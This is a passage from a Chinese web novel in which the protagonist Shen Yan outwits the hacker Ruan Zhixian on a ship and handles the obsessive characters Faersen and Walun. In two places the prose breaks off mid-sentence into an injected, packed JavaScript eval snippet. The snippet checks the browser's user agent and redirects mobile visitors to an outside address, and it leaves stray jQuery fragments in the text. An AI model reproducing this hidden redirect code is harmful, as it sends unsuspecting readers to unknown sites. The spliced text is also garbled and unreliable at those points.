给刘丹让出位置的警卫队队长,很恭敬地补充道:“监控有被人篡改的痕迹,技术部正在试图修复原本的图像,无论如何,我们都会给上面交出一个满意的答案。” 刘丹点头:“麻烦您了,那我就不在这里打扰了。” 边说边往门外退,等她要关门时,灵光一闪,又把门推开。 屋子里的人都转头看向她。 除了在房间角落,全神贯注、正在修复视频的那个年轻人。 背影非常熟悉。 她刚刚才见过的样子。 刘丹莫名有些紧张,走过去拍了拍他的肩膀。 那人转头,一张脸平平无奇,讨好谄媚地笑了笑,“您好,有什么指示?” 刘丹松了口气,“没事,你继续。” 那小年轻又重新忙碌起来。 实验室的监控画面在他的操作下逐渐变形,最后显示出模模糊糊的人影。 小年轻拔下U盘揣兜,转头对队长说:“覆盖监控的那个人技术高超,修复到这个程度已经是极限,队长你要不要向总部寻求支援?” “等等再说。” 队长眯起眼睛,试图辨认那个和鬼魂没什么区别的人影的特征。 黑发,穿着研究员的白大褂,威胁那两个真正的研究员带他往怪物屋的方向去。 怪物屋的监控和轮船的监控相互独立,只单独联通临时实验室,而实验室被火烧成那样,存在实验室的本地文件肯定毁坏了,上传到云端的估计也难逃那黑客的毒手。 队长真是想不明白,这哥们有这么大的能耐,干点什么不好,上船捣什么乱。 当然,如果排除捣乱这一嫌疑,那他很可能是本次参与集会人员的棋子,出于某种争权夺势的目的,在船上弄了这么一出。 也许,那个杀了雅米的少年,也和他有关。 上面权利倾轧,反倒牵连这些平平无奇的打工人。 警备队只用于通过轮船安全航行审核,队长的实权也就能让他查查监控,叫人来问话说不定会得罪什么权贵。 那些大人物自己会看着办。 队长拍了拍小年轻的肩膀,打了个哈欠。 “行了,辛苦你了,先查到这儿,吃个饭睡觉,等醒了再说。” 小年轻满脸的正直:“可是……” 队长:“没有可是!你已经尽力了,但这事不是尽力就能解决的,再说一次,好好休息,懂吗!” 小年轻勉强笑了笑:“好的,等我把报告写完就走。” 年轻人还是太老实了。 队长挥挥手,带着其他困得黑眼圈掉脚面子上的队员走了。 监控室里只剩下小年轻一人。 他锁了门,没什么表情地重新插上U盘,切换手提电脑的页面,带上耳机。 原本展示给队长看的模糊画面,现在十分高清。 通过控制镜头大小,甚至能看见画面里那人耳垂上的红痣。 阮知闲放松地靠在椅子上,把画面放大,看电影似地看沈言。 看他死而复生,看他冷酷地杀了回收工,看他进入实验室威胁两个倒霉的研究人员。 嘴上说着找不到、无法复原的怪物屋监控,现在也完好无损地出现在电脑里。 看到沈言骗得那两人对他是玫瑰研究所所长这事深信不疑时,阮知闲没忍住,笑出了声。 但他的轻松愉悦,没能维持多久。 画面中那个穿着白大褂的青年,紧张地打开了棺材盖,然后扑到缓慢从棺材里坐起的男人怀里。 ——“老公!你……” 暂停,回放。 “老公!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13879197|146294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再次暂停,回放,这次减慢了播放速度。 “老……公……” 最后一次暂停回放,阮知闲一帧帧地往下看,耳机里传来完全不连贯的,沈言的声音。 有些失真。 但是不用脑子判断就能确定,画面里的人,和昨天下午叫着他名字吻他,求他慢一点的人,是同一个。 阮知闲继续播放,冷冷的光线照着他的脸,硬是让平平无奇的伪装,多了几分凶戾阴沉的味道。 两倍速看到最后,视频停在沈言带着瓦伦破坏军火库拿走他的引信炸弹后,往甲板下层的方向离开。 沈言在画面里消失的最后一秒,他嘴角挂着愉悦欣喜、重见老情人的微笑,好像爱那个人爱得能为他死。 阮知闲意味不明地勾唇,而后关闭监控,把视频备份后,清除了电脑里的所有数据,提着电脑准备离开。 开门时,大门好像撞到了什么。 阮知闲低头,是一个只有他小腿高的服务型机器人。 机器人打开它的储存口,从里面拿出巴掌大的、正泛着莹莹红光,上面还显示着调整为倒计时状态的引信炸弹。 倒计时,十分钟。 阮知闲的指尖神经质地动了动,直勾勾地盯着那个不断跳动的数字。 危险的红光倒映在他眼睛里。 9:55、9:54、9:53…… 小机器人的程序检测到获取人的僵直,以为他没看到自己,具有伸缩功能的胳膊又延长一些,“这是来自邻居的礼物,您的邻居还有话带给您。” 阮知闲用力攥了攥发冷的指尖,“他说了什么?” “稍等,正在为您转播。”小机器人嘀哩嘀哩两声后,电子音转为一个带着点笑意的,好听的青年音。 “知闲,很无聊吧。” “要不要来玩我的游戏?” - 阮知闲的黑客能力,在原著中就是bug般的存在。 布雷兹在他面前也不够看。 只要他想,他甚至可以直接更改全世界的股价。 但那种事不能引起阮知闲的兴趣,如果不是计划非得用到这个,他连电脑都懒得开。 沈言从一开始就没想过要瞒过阮知闲,引信炸弹也没打算就这么烂手里。 炸弹有两个模式,一个是阮知闲的遥控模式,一个是倒计时模式。 两个可以共存,但倒计时的优先级高于遥控。 也就是说,一旦开始倒计时,阮知闲就只剩下两个选择。 要么在倒计时结束前就引爆炸弹,要么把炸弹拆了停止倒计时。 无论哪个,这个炸弹都达不到原本引爆军火库的效果。 这是明晃晃的挑衅。 沈言一边往嘴里塞面包,一边默默流泪。 形势所逼。 如果让阮知闲发现自己偷炸弹只是为了阻止轮船爆炸,算是某种程度上的苟且偷生,肯定会被人家轻松弄死。 不是他有被害妄想症,原著里就有这样的情节,本来在阮知闲团队里的小伙伴,因为惜命没有按阮知闲的意思行事,迂回地完成了任务,却仍受到阮知闲的嫌弃。 被踢出队伍,榨干利用价值,死了。 沈言紧张地咽下面包。 还好,这种让人胆战心惊的日子,等下了船就能结束。 斐申如果听话把所有钱都按照他吩咐地压了,一场下来赢的钱应该能填上他的赌债,到时候让他给自己做个身份不是问题。 而他作为死亡人员,那堪称离谱的房费自然也不用交,他爱去哪去哪,天高任鸟飞。 至于那所谓的游戏…… 哪有那么多游戏可玩,只是为了牵制阮知闲,让他好奇、等待而撒的谎。 不出意外救援队三天内就能赶到,他苟三天还不容易? 到时候下了船,世界那么大,谁能认识谁? 假装个屁的疯批,他是大帅哥!他不想当疯批! “喂!过来检查了!” 沈言飞快地吞掉最后一口专门给服务生提供的面包,掺进大部队中,穿着服务生衣服的他,慢慢往前走。 有些胆大的偷渡者会领一身侍者衣服当服务生,冒着风险赚小费。 只要把警卫队的钱给足了,他们自然可以睁一只眼闭一只眼。 服务生和警卫队的人,没资格看昨天晚上的比赛,不认识他,沈言也不怕被他们发现自己死而复生。 一直苟在服务生休息区应该不会被发现。 要是真有权贵闲得蛋疼来这边晃悠,还恰好发现他…… 沈言下意识地摸了摸自己藏在裤子里的电击器。 到时候再说就是了。 主打一个随机应变。 很快就轮到沈言。 他低着头,假发刘海挡住了他大半张脸。 警卫上下打量他一番,命令道:“头发撩开。” 沈言飞快地往警卫手里塞了个纸条,然后听话地撩开刘海,对他眨眨眼。 另外两个正在盘查的警卫没注意到这边的情况,他飞快地看了眼纸条,眼睛里飞快闪过一丝贪婪,随后不动声色地把条儿揣好,放沈言过去了。 那是一张一万块的支票,支票上填的是斐申的名字。 全部盘查结束,警卫队在A区的服务生中,抓到五个偷渡者。 其中一个想跑,被当场枪毙,剩下的全部带走。 紧张的服务生们又重新流动起来,轮船还未靠港,他们仍然需要给客人提供优秀的服务。 沈言没去,上甲板上去就是找死,他又不像阮知闲,身上一堆高科技,说易容就能易容。 还是先休息。 沈言回到空房间,迷迷糊糊地睡下。 不知睡到什么时候,一阵冰冷的气息,钻进沈言的被子里。 沈言立刻醒了,身体僵硬,不敢动。 “妈妈。” 一只脑袋从沈言身后探过来,尖尖的下巴抵着他的颈窝,脸色惨白,瞳孔乌黑而见不到任何人气。 一滴冰冷阴森的海水蹭在沈言的颈侧,随后又是第二滴、第三滴,被同样冰冷的脸蹭着,蔓开。 冰凉的手环住沈言的腰,眷恋痴迷的炽热吐息滚烫,随之而来的是一个与之矛盾的、清冷的少年音: “我好想你。” 15.对峙 沈言沉默。 沈言思考。 沈言欲言又止。 24岁,男,无痛当妈。 离奇。 后面的小鬼身体很冰,浑身湿漉漉的,散发着奇怪的海水腥气,紧紧缠着他,让沈言有种被拖拽到海底的窒息感。 沈言拍拍他的手,“易,你怎么搞成这样? 法尔森又往前凑了凑,没问他怎么假死、为什么假死这种问题,单纯地开心道:“你还记得我啊。” 沈言笑:“那有什么不记得的,你先下去,我找件干净衣服给你换上。” 法尔森没动。 抱着沈言的胳膊收紧。 沈言的胸口被他勒得生疼,这小子看着瘦瘦弱弱还没他高,劲儿倒挺大。 法尔森幽幽地问:“真的只是去找衣服吗?” 法尔森知道自己的想法和别人不一样,他能理解别人对他的厌恶排斥或恐惧,但他不接受。 他需要爱,他需要妈妈成为他的妈妈,所以无论妈妈究竟愿不愿意接纳他,都必须接纳。 而让妈妈妥协的方法很简单。 威逼利诱再佐以卖惨撒娇,人类的欲望数来数去也就那些,给妈妈想要的就好。 法尔森抱着温暖的沈言,眷恋地蹭了蹭,“我不想你走。” 沈言没说话,安静几秒,趁他放松警惕猛地掐他手肘麻筋,法尔森吃痛松手,沈言趁机翻身面向他。 法尔森手里亮光一闪,沈言扼住法尔森手腕不太轻松地控制住他,法尔森挣扎,沈言压制,等局势平息后,沈言才慢悠悠地看向他手里攥着的刀。 “妈妈?”沈言挑眉:“小变态,你就这么对你妈?” 法尔森着迷地望着沈言,面颊飘起两抹酡红,松手,小刀掉在床上。 他放松身体,做出投降的姿势,呼吸不太均匀道:“抱歉,下次不会了。” 沈言放开法尔森,法尔森的手腕被攥得多了几条红痕,他抬起胳膊欣赏沈言留给他的痕迹,痴痴地笑:“妈妈,好疼啊,这算家暴吗?” “叫我哥,或者沈言,再让我听见那两个字我就把你丢下去喂鱼。”沈言把毛巾甩他脸上,命令道:“出门右拐是浴室,去洗洗,你脏死了。” 法尔森离开房间。 临走前,还扒着门框笑嘻嘻地转头来看他,要他不要乱跑,免得他找不到。 明明他长得很好看,符合大众审美,刻意睁大眼睛带点无辜可怜的意思,但一言一行阴测测的,让人后脊梁骨发凉。 沈言敷衍地挥手同意,一边换床单一边想,到底要不要再跑。 瓦伦在偷渡者那层,不能回去,阮知闲和其他观赛者在甲板上,也不能去,唯一的天苟之地就是这个房间。 在法尔森出现之前的确是这样的。 这小孩从小就生活在扭曲且不健全的环境中,全书最莫名其妙的大地雷就是他,现在能嘻嘻哈哈地笑着叫妈妈,下一秒就能把他刀了。 法尔森也不是纯粹的健康人,他经历过人体改造,改造方向和瓦伦大同小异,瓦伦是肉.体加强,而他则更偏向于机械改造。 现在还是小说早期,法尔森的机械化水平只有百分之三十五,但应对沈言这种普通人绰绰有余。 就像刚刚,那小刀只是法尔森玩弄他的障眼法,是他检测沈言是不是合格母亲的工具。 法尔森要是真想跑,沈言不可能按得住他。 到处都是变态,他无处可逃。 算了。 沈言决定顺其自然。 甲板下给服务生提供的食物很有限,一块半个手掌大的干巴黑面包无法满足正常成年人的需要。 更何况现在身边还跟了个十六岁的,正长身体的小崽子。 他弟弟妹妹也差不多那么大,调皮捣蛋烦死个人。 想到自己家人,沈言心情轻松许多,离开房间去弄吃的。 随机抓个服务生当朋友,塞点钱,让他帮忙带点东西下来,不是什么难事。 房间没有纸币,沈言又只有一个终端,留不了消息也无所谓,反正要不了多久就能回来, - 回不来了。 随手抓的服务生是阮知闲的人。 太巧了,厉害厉害,哈哈。 沈言淡定地给自己倒了一杯酒,酒液在杯中折射出靡丽的光,他提起酒杯和阮知闲的轻轻碰了下,清脆的“叮当”声后,沈言就着虎口的位置,将酒一饮而尽。 这酒很烈,点火即燃的程度,沈言被辣得找不着北,装出云淡风轻的样子,放下酒杯,对阮知闲笑了下,先发制人。 “喜欢我给你准备的礼物吗?” Svip的房间大得惊人,每一间都有特别布置和主题,这个房间仿的是霸总暗黑风,墙壁天花板都被刷成黑色,屋内摆设冷淡简约,就算把窗帘拉开让光线照进来,仍有种驱不尽的阴冷感。 阮知闲就很适合这种风格。 他沉在黑暗中,自上而下打来的光线,让他的眉眼间带了几分过分锐利的戾气。 一只已经失效了的引信炸弹放桌上,被阮知闲修长的手指推到沈言面前,沉沉的黑眸一眨不眨地注视着他,“算不上喜欢,只是有些意外。” 沈言示意他继续。 阮知闲没顺着这个话题往下聊,勾唇笑笑,“比起礼物,我对哥更感兴趣。” “假装懦弱无能,假装我的邻居,假装喜欢我,破坏我的计划。”阮知闲顿了下,继续道:“现在又不装了,说要和我玩游戏……为什么?” 沈言一开始还在认真听阮知闲说话,听到后来意兴阑珊地转开视线,摆弄桌上的小炸弹,不说话。 本来就不算热闹的气氛,渐渐沉了下来,静得有些窒息。 沈言把炸弹翻面,往阮知闲的方向一推,冷淡地看着他,眼里带了几分失望。 “这些事你应该知道的,就这么问我吗?” 阮知闲愣了几秒,旋即突兀地笑开,给沈言斟酒:“游戏的一部分?” 沈言对他眨眨眼:“你觉得我是什么?” 阮知闲想了一会,以玩笑的口吻说:“一个获得我人生轨迹的先知者,因为无力摆脱现状而被迫和我纠缠,所作所为都是为了离开我这个恐怖分子,究其本质……” “哥,你是好人吧。” 话音刚落,两人一起开怀大笑。 沈言拍拍他的肩膀,擦掉笑出来的泪,给阮知闲倒了满满一杯酒,自己也倒了满满一杯。 “完全正确,来,敬好人。” 两人再次碰杯,一饮而尽。 沈言酒量很好,阮知闲的也不错,原文中说阮知闲自己一个人能喝倒瓦伦他们三个。 但沈言总觉得阮知闲的酒量其实也就那样,瓦伦是军校生,滴酒不沾;布雷兹常年做大脑改造各项指标都得控制,顶多过节时礼貌性地抿一小口。 而酒量最大的法尔森,因为讨厌酒的味道,除非任务必要也不怎么喝。 沈言将自己的酒杯又一次倒满,喝得太急太快也有点晕,但这股飘飘然的感觉反而让他更加亢奋。 他提起杯子,透过酒液和玻璃看扭曲变形的阮知闲,不真实感加强,像另一个世界的人。 阮知闲起身,双手撑着黑色大理石桌面,他的衬衫袖子挽起一半,青筋从他的手背蜿蜒而上,看起来暴力又斯文。 阮知闲的影子笼罩沈言,他依旧在笑,眼底却是一片冷漠的荒原。 “哥,你知道我最讨厌什么吗?” 沈言竖起手指认真数:“一眼就能看穿的单细胞生物,给两顿饭就痛哭流涕感动得无以复加的傻白甜,以及……” 沈言仰头,飞快地亲了他一下,亲得阮知闲瞳孔颤抖,肌肉紧绷。 沈言坐了回去,笑眯眯地继续道:“以及,说几句甜言蜜语就能交出全部的恋爱脑。” “对吗?” 阮知闲盯着沈言,起身用手掌缓慢用力地去擦沈言吻过的地方。 “哥说得很对,我不希望哥成为这样的人,如果你是的话……” 阮知闲把手帕揉成一团,随手扔掉,面无表情地看向沈言:“你说,我该怎么办?” 沈言像是没感觉到他语气中的杀意,无所谓道:“你自己都没想明白的事拿来问我?拜托,在那个视角里我可是受害者,我能怎么说?” 想到好玩的,又忍不住笑出声。 “罚我住精装大别墅?罚我吃饱喝足再也体会不到人生酸苦?还是罚我这辈子只能单纯享乐无忧于虑?”沈言喝了口酒,挑衅地瞥了阮知闲一眼,“可以吗?” 阮知闲笑:“如果你想要的只是这些,我现在就能满足你。” 他绕到沈言身后,搭着他的肩膀,不轻不重地捏了下。 “哥,其实你没必要这么辛苦,只要你现在点点头,说你需要,十倍百倍的东西我都可以双手奉上。” “你很特别,也很懂我,所以我不希望你站在我的对立面,也不想你被我牵连还因此威胁到生命……不值得,我也不忍心。” 阮知闲居高临下地仔细观察沈言表情,将他每一根汗毛的变化都收入眼底。 他没能从沈言的脸上找到任何畏惧或心动。 什么都没有。 沈言兴致缺缺地垂下眼睛,睫毛在他眼下投射出一小片阴影,和他有些发青的黑眼圈融在了一起。 从斗兽场开始就没好好休息过,提不起精神吗? 不。 只是不信他,也不觉得他的承诺可以兑现,所以没有被诱惑。 阮知闲点开终端,飞快拉出四五个页面,并将之送到沈言眼前。 最新款的悬浮车线条流畅,官网自助选购页面正三百六十度无死角地展示它的美丽,而与它的美丽相匹配的正是它的价格。 数零都要数个三四秒。 沈言托着腮,看阮知闲毫不费力地全款拿下,而购买信息填的全是他。 至少能说明,阮知闲已经把他给查得透透的,给他买个车都不用他本人同意的程度。 之后阮知闲又如法炮制,给沈言的名下添置了两栋十三区的房子,几块很拿得出手的表,以及一堆零七八碎但仍然价值不菲的小玩意。 “这个喜欢吗?” “它的颜色很衬哥。” “装修的话也不用担心,看你喜欢什么风格。” “哥还想要什么?” “我是真心的,哥。” 买了将近半个小时,阮知闲才停下,继续去找他想在沈言脸上看到的表情。 沈言打了个哈欠。 阮知闲的手指神经质地抽搐。 沈言不耐烦地挥挥手,把这些页面全都推开,抬手勾出阮知闲的西装领带。 在手上缠了两圈,用力一拽。 阮知闲被迫弯腰,他一只手撑着桌面以维持平衡,半侧着身子,和沈言的距离很近。 又是一个适合接吻的距离。 阮知闲定定地看着沈言,看他眼底燃烧着的冰冷的火焰,心脏砰砰直跳。 他依然无法打动他,上千万抛出去,在沈言这里犹如废纸。 但他肯定有在意的东西,不然也不会这样看着他。 是什么? 阮知闲非常期待,但期待顶到极限,又有点担心沈言给出的答案,不是他想要的。 他会失望。 阮知闲空着的另一只手,不动声色的摸向后腰。 沈言开口,一字一顿道:“阮知闲,你让我很、失、望。” 阮知闲心跳慢了一拍。 怎么把他要说的话给说出来了? 失望什么?因为他没有好好去玩他的游戏吗? 在他愣神的功夫,沈言松开领带,又重重地推了他一下,起身要走,被阮知闲一把拉了回来。 他扼住沈言的手腕将他调转按在桌子上,沈言拿腿踹他想将他绊倒,阮知闲只是微微晃动并未受到太多影响,毕竟从他抓住沈言时他就已经抢占先机。 沈言的力气没有他大,两人纠缠片刻后分出胜负。 阮知闲控制犯人似的,单手扣着沈言的手腕压在他背后,沈言有点气喘,后背像小山一样起伏。 酒瓶在他们打斗时被弄洒了,浓郁的酒液洒了一桌子,沈言的上半身就浸在酒液中,发丝刺着他的眼睛,他用力眨了眨,突然笑了,露出那颗小虎牙。 阮知闲指尖发痒。 作为无可置疑的上位者,他应该有处置他的权利。 他强硬地把手指塞进沈言的口中,那颗突出的尖锐的牙齿立刻嵌入他的皮肉里,他用疼痛感知着沈言的牙齿,而这痛又恰好中和了他的痒。 刚好。 血腥味藏在酒味中,沈言盯着阮知闲的眼睛,拿他的手指磨牙。 好可爱。 阮知闲不由自主地凑过去亲他,是真的开心,“哥,你是小狗吗?” “不是。” 沈言别过头,吐掉阮知闲快被他咬断的手指,轻笑。 “就算是,也不会想啃你这根无聊的烂骨头。” - 沈言到底是把阮知闲哄走了。 阮知闲最终还是信了沈言的鬼话,真以为有什么专门为他准备的游戏等他探索。 沈言告诉他玩家不止一个,而游戏已经开始,如果再不加入,进度落后,游戏的最终大奖会被别人拿走。 还说了些类似“很看好你”“我觉得你会赢”“你一定会喜欢游戏的结局”这种话。 房间空荡,扫除机器人无声地清扫桌面和地板上混杂着酒液的玻璃碎片。 沈言换了一身衣服,宽松百搭的卫衣和黑色长裤,他双手插兜站在视野良好的玻璃窗前,没什么表情地向外望去。 如果他是真的疯批,那此时应该在玻璃外面有一个从下至上的镜头,他会在神秘阴险的背景音乐中,露出一个邪恶又高深莫测的微笑。 然后将伏特加一饮而尽,转身走入黑暗。 可惜他不是。 自从初二假装自己来自暗世界还有超能力,唬得朋友们深信不疑,以至于后来差点把学校炸了以后,被父母混合双打三天三夜的沈言再也没这么装过。 那年大雨毁了他的疯批梦。 幸好,装b的本领已经深入骨髓,即使过了十来年也不曾生疏。 SVIP的房间一般来说没有摄像头,但阮知闲说不好会不会留下来几个观察他的情况。 沈言凑近玻璃,哈了口气,在上面画了个笑脸。 本来是没有什么游戏的,但人家找上门,还这么迫不及待,他要是不设计点好玩的满足阮知闲,估计没等救援队赶到,就会被反应过来自己被耍的阮知闲一枪打死。 沈言在笑脸的头上添了两根尖尖的恶魔角。 来数数他的牌吧。 把他当成老婆,因为他的不告而别,很可能一碰就炸直接把船干爆的瓦伦。 把他当成妈,看似听话,实际很有可能在关键时刻跳出来当搅屎棍的偏执狂法尔森。 在实验室相识的卧龙凤雏,对他研究所副所长身份深信不疑的大聪明两个。 贿赂过的警卫队队员、斐申和他的狐朋狗友、原著中描写的船上从十三区到七区错综复杂的各方势力…… 一张繁琐的人际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13887646|146294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系图蛛网般结起。 阮知闲被他放在网的中心,以此铺散开的网上,所有人的定位和作用都渐渐清晰。 沈言抬手抹掉恶魔笑脸,玻璃上留下的模糊水雾散尽,他打开终端,给研究员发消息。 他有一个缺德的小计划。 阮知闲或许生气。 但绝对会非常满意。 —— 真倒霉! 一身白大褂的研究员们,正在紧急修复昨天晚上被烧毁的文件,所有人都忙得抬不起头。 那天晚上被匪徒劫持的迪斯和戴特两人,更是恨不得找个地缝钻进去。 从怪物屋回来后,警卫队的队长找他们谈话做笔录,他们当时还沉浸在即将升官发财的美梦中,对所谓的副所长的话深信不疑,还帮着掩饰。 队长是个惯常爱糊弄过去的人,但这个特殊的实验体对轮船的正常航行有很大威胁,在救援队到达之前,一天没抓回来,就得担惊受怕一天。 所以多用了点手段,他们俩才幡然醒悟,原来他们竟然上当受骗。 警卫队队长从他们那里得到的信息不多。 嫌疑人有反侦察意识,带了手套和口罩,一路上可能留下的痕迹也都被清理干净。 他们的智能侧写师,根据迪斯和戴特两人的描述,最终生成的画像唯一能辨识的特征,是双眼皮褶子挺深,长睫毛,笑起来很好看的一双眼睛。 但也够让他们排掉一部分人了。 警卫队离开后,迪斯和戴特两人隐约有被孤立的意思,实验室里风言风语,说如果不是他们两个,他们也不用在休息时间全员加班。 两人和警卫队的人说了简单加工后的实情,将自己塑造成无辜的可怜受害者,但对实验室里的同僚三缄其口,丢不起那个人。 他们默默把活多往自己身上揽,并在心里恶狠狠地咒骂那讨人厌的匪徒不得好死。 下午午休,其余人都走了,迪斯和戴特留下来继续整理。 实验室的仪器被毁了个干净,没有平时听惯了的仪器运转的声音,在极致的安静中,两人心中的后悔不断加深。 经过这件事以后,他们升职无望,而且有很大概率会被开除。 明明不是他们的错,却要他们来承担这个责任。 迪斯越想越难过,把电脑一合,看向戴特。 “你之后准备怎么办?” 戴特动作不停:“看情况,如果这次意外没让我背上处罚记录,之后找工作应该不难。” 迪斯的履历没有戴特精彩,这份工作要是没了,想要再找一份同样高薪的基本不可能。 他一拳砸在烧得面目全非的操作台上,“那个可恶的匪徒最好已经畏罪潜逃了,要是让我找到他,我肯定要——” 滴滴。 两人的终端同时震动。 发件人是一个经过加密处理的号码。 迪斯和戴特对视,戴特对迪斯点点头,迪斯紧张地吞咽口水,莫名预感这个人就是自己刚刚要咒骂的匪徒。 他要干什么?顶风作案,继续骗他们吗? 抱着讽刺的恨意,迪斯点开消息。 入目的是一张转账记录,转账人是玫瑰研究所官方。 足足有一百万。 迪斯死死盯着那上面的数字,不可置信地反复查1后面到底跟着几个零。 确实是一百万没错。 足够他在被人开除后,还能很滋润地生活一段时间。 迪斯已经在构想这笔钱该怎么花了,戴特还保持清醒,推了迪斯一下,警惕道:“警备队队长说他很擅长造假,这张截图也许并不可信,查一下你的账户后台看看。” 迪斯幡然醒悟,连忙去看自己账户。 然后倒吸一口冷气。 是真的! 三分钟前刚完成的转账! 狂喜的两人,很快又收到了新的消息。 【任务开始第二阶段,警卫队队长也是我们的人,等下他的队员会配合你们的行动。现在去离实验室最近的通风口,顺着通风口爬,爬到尽头,实验体H762号在倒数第三个房间。】 【如果可以,请务必隐藏自己研究员身份,装作我的好友,说我被人囚禁,囚禁我的人是这个男人。】 【(图片)】 【本次行动至关重要,注意安全。】 - 他爱人没了。 瓦伦坐在床上,狭窄逼仄的房间对他来说站直都困难,他一个人就占了小床的大半。 但他觉得很空。 刚刚还有人和他挤在一起,两人肩并肩分享甜蜜的恋爱故事,但现在冰冷的房间只剩下他一个。 没有沈言的时间,竟然比研究室的三年还要难熬。 瓦伦盯着地上的一堆面包,神情阴鸷可怕。 沈言说他们现在的身份有点危险,暂时不能出现在甲板上,等轮船停靠后,他们可以像偷渡者一样去黑市买个身份,钱已经准备好了。 沈言把一切都考虑得周到至极,就算他这个一无所知的人上了岸,在没有沈言的情况下,也能正常生活下去。 他所作所为都是为了两人日后的美好生活,他口中的未来让人心驰神往。 但如果没有沈言,所有规划好的未来,都将失去意义。 所以,是谁带走了他? 尖锐的痛感激烈地搅弄他的大脑,瓦伦用力敲击自己的头,呼吸加重。 他想要保持冷静,想要分析现状,想要找到他的爱人,但眼前渐渐模糊,地上的面包好像长出了嘴巴,刺耳的嘲笑声贯穿耳膜。 “无能!无能!无能!” “你老婆跑啦!哈哈!” “沈言根本不爱你!他怕你!他跑啦!哈哈!” 瓦伦一拳捶过去,整个房间都颤了颤,地面并不太厚的铁板被瓦伦砸出个洞,面包也扁扁。 可声音没有停下,瓦伦困兽似地在房间里打转,揪住自己的头往墙壁上撞,被撞过的地方铁皮凹陷。 在最后一丝理智消散之前,瓦伦听到小心翼翼的敲门声。 所有嘈杂的尖叫瞬间停滞。 瓦伦维持着撞墙的动作,僵硬地扭头,面无表情地望着出现在门口的两人。 迪斯和戴特被他吓了一跳,不敢继续往里走,站在门口随时预备着逃跑。 戴特想着卡里的那一百万,又想着这次任务结束很可能会被提干到玫瑰研究所,顿时有了不怕死的勇气,上前两步,将那人发给他的照片给他看。 “我们是他的朋友,他被人关起来不知道自己的位置,让我们来来来……” 瓦伦又突然对戴特伸手,戴特吓得连话都不会说了,连忙往后蹿了两步。 瓦伦皱眉,对他勾了勾手指。 戴特突然明白了他的意思,把终端摘下来,递给瓦伦。 瓦伦拨通了之前沈言跟他说过的号码。 他双手发汗,听着通讯的滴滴声,好像全世界都静了下来。 终于,在通话被挂断的最后一秒,瓦伦听见了他爱人的声音。 “老公。”沈言飞快道:“我这边现在不方便说话,定位发你,快来救我。” 终端挂断,寥寥数语,瓦伦心中一块大石总算落下。 之前是沈言救他,现在该调过来了。 另一头。 沈言结束通话,松开紧紧按着法尔斯嘴巴的手,嫌恶将掌心的唾液擦在法尔森的身上。 “沈言,我不想有爸爸。”法尔森期期艾艾地凑过去,“你等我两年,我可以做我自己的爸爸。” 沈言:“……很有创造力的想法。”